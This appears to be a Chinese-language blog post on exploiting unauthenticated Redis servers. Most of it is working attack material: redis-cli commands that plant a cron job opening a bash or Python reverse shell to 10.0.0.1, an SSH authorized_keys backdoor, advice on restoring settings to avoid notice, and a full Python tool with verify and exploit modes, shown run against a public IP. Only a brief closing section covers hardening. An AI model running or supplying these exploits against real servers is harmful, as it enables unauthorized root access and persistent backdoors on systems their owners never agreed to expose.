redis未授权访问总结

0×00 前言
好久没更新博客了,这两天在看redis的东西就来更新一篇渗透相关的。
redis未授权访问导致远程命令执行是比较久的漏洞了,15年11月左右爆出来的。
这个洞在内网的时候比较多,外网暴露6379端口的比较少。
参考了这些文章
A few things about Redis security
redis 远程命令执行 exploit (不需要flushall)

0×01 redis相关介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件。

正是因为有这个保存数据库、写rdb文件才会导致写文件的发生。写文件会导致以redis的运行权限写入一个二进制格式的数据库文件。这个文件可以被重命名,也可以指定路径。写文件可以有以下几种利用方式:在redis有web目录写权限时,先找到web物理路径然后写webshell进去、在redis以root权限运行时可以写crontab来执行命令反弹shell或者是写ssh-keygen公钥然后使用私钥登陆。

0×02 安装redis
可以参考一下redis官网
找台linux服务器,然后执行这些命令就可以啦

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

本地启动redis-server

cd src
./redis-server

默认的配置是使用6379端口,没有密码,所以如果这个端口对公网开放时就很容易出问题,会导致未授权访问然后使用redis权限写文件。

0×03 redis基础命令
我们使用src目录下的redis-cli这个来进行连接服务器测试。

cd src
./redis-cli -h 127.0.0.1

有密码的情况下使用-a参数带上密码登陆

连接之后可以执行一些基础命令

info

查看redis版本信息、一些具体信息、服务器版本信息等等。
也可以用这种命令行的方式执行:

./redis-cli -h 127.0.0.1 info
set 1 "test"

设置1的值为test,我们可以通过这样子来输入一个键值对。根据redis 远程命令执行 exploit (不需要flushall)这篇文章,猪猪侠说的是1这个键会在保存的时候更加靠前一些,这样子效果好。写webshell不容易前面遇到

这个命令要慎重,是把整个redis数据库删除。太暴力了,一般情况下不要使用。

flushall

这个命令可以查看所有的键

KEYS *

获取默认的redis目录、和rdb文件名:默认是dump.rdb,备份的rdb文件默认是放在这里的。可以在修改前先获取,然后走的时候再恢复,不容易被发现redis入侵。

CONFIG GET dir
CONFIG GET dbfilename

0x04 redis攻击演示
反弹shell:
先在自己的服务器上监听一个端口

nc -lvvp 8080

然后执行这些命令

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1\n\n"|./redis-cli -h 127.0.0.1 -x set 1
./redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
./redis-cli -h 127.0.0.1 config set dbfilename root
./redis-cli -h 127.0.0.1 save



这个是针对centos的系统 /var/spool/cron/root

如果是ubuntu的系统,是不能用bash弹shell的,可以使用python来反弹。
写到这个文件/var/spool/cron/crontabs/root

echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"

这样子如果系统是在运行crontab计划任务的话,就可以一直执行反弹shell的命令。

ssh-keygen后门:
先生成一对公钥私钥

ssh-keygen -t rsa -C "redis"

然后选择一下默认的就可以生成redis.pub公钥和redis私钥文件。

(echo -e "\n\n"; cat redis.pub; echo -e "\n\n")>redis.txt

把换行符写在开头和结尾,不会和别的数据混淆。
然后执行

cat redis.txt|./redis-cli -h 127.0.0.1 -x set 1
./redis-cli -h 127.0.0.1 config set dir /root/.ssh
./redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
./redis-cli -h 127.0.0.1 save

就可以啦

然后我们使用生成的私钥的登陆ssh

ssh -i redis root@10.0.0.1


缺点有两个:会覆盖这个文件authorized_keys,如果原来服务器上管理员是使用过公钥的方法登陆就会导致管理员的公钥失效,容易被管理员发现。
还有一个缺点就是在数据库中数据太多的情况下,这个方法会无效。
可以通过备份数据库保存dump.rdb文件,再删除数据flushall
攻击之后再恢复,恢复数据需要先把dump.rdb放到redis/src目录下然后重启redis-server。需要重启redis服务是个缺点,服务会中断而且flushall也太暴力了。

0x05 自动化利用脚本
写个python脚本来跑这种redis的未授权访问
需要先安装个redis的第三方库

pip install redis

最好在linux下跑,win上跑还需要装pexpect,也没法验证ssh-keygen后门效果

import redis
import urlparse
import sys
import pexpect
import socket
from optparse import OptionParser


def verify(host, port=6379):
    result = {}
    #info
    payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
    s = socket.socket()
    socket.setdefaulttimeout(20)
    try:
        print host
        s.connect((host, port))
        s.send(payload)
        recvdata = s.recv(1024)
        repr(recvdata)
        if recvdata and 'redis_version' in recvdata:
            result = {}
            result['URL'] = host
            result['Port'] = port
            result['Data'] = recvdata
    except:
        pass
    s.close()
    return result


def shell_exploit(host, port=6379):
    print host
    try:
        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
        r.set(1, '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1\n\n')
        r.config_set('dir','/var/spool/cron')
        r.config_set('dbfilename','root')
        r.save()
        print "attack over, shell return"
    except:
        print "something wrong"
        pass

def ssh_exploit(ssh_content, host, port=6379):
    ssh_content = "\n\n\n\n"+ssh_content+"\n\n\n\n"
    print host
    try:
        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=10)
        print ssh_content
        r.set(1, ssh_content)
        r.config_set('dir','/root/.ssh/')
        r.config_set('dbfilename','authorized_keys')
        r.save()
        print "attack over, ssh authorized_keys write"
    except:
        print "something wrong"
        pass

def check(host, filename, SSH_PORT=22):
    print 'Check connecting...'
    try:
        ssh = pexpect.spawn('ssh -i %s root@%s -p %d' %(filename[:-4], host, SSH_PORT))
        i = ssh.expect('[#\$]',timeout=10)
        if i == 0:
            print "Success !"
        else:
            pass
    except:
        print "Failed to connect !"

def main():
    parser = OptionParser()
    parser.add_option("-f", "--file", dest="filename", help="ssh file", metavar="FILE")
    parser.add_option("-u", "--url", dest="url", help="attack redis url")
    parser.add_option("-m", "--mode", dest="mode", help="verify/exploit", default="verify")
    parser.add_option("-p", "--port", dest="port", type="int", help="attack redis port,default:6379", default=6379)

    (options, args) = parser.parse_args()

    #host prepare
    host = urlparse.urlparse(options.url).netloc
    if host == "":host = options.url

    #verify mode
    if options.mode == "verify":
        result = verify(host, options.port)
        if result == {}:
            print "nothing return"
        else:
            print result['URL'],":",result['Port'],"have redis infoleak\ninfo:",result['Data']

    #exploit mode
    if options.mode == "exploit":
        if options.filename == None:
            #reutrn cmd shell exploit
            shell_exploit(host, options.port)
            return
        else:
            #ssh keygen exploit
            print "ssh_key:",options.filename
            file = open(options.filename, 'rb')
            ssh_content = file.read()
            file.close()
            ssh_exploit(ssh_content, host, options.port)
            #verify ssh-keygen success/fail
            SSH_PORT = 22
            check(host, options.filename, SSH_PORT)
            return

if __name__ == "__main__":
    main()

脚本的使用方法是这样子的
verify验证方法:返回info信息

python exploit.py -u 123.56.192.188 -m verify

默认是使用verify方法

exploit方法:有两个,一个是shell反弹

python exploit.py -u 127.0.0.1 -m exploit

还有一个方法是留ssh公钥后门的方法

python exploit.py -u 127.0.0.1 -m exploit -f redis.pub

0x06 redis安全配置
可以配置redis.conf这个文件,在redis-3.2.0目录下

#默认只对本地开放
bind 127.0.0.1

#添加登陆密码
requirepass appleu0

#在需要对外开放的时候修改默认端口
port 2333

#最后还可以配合iptables限制开放

一条评论

  1. 增达信购 六月 28, 2016 2:41 下午  回复

    虚心学习!!

增达信购 进行回复 取消回复

*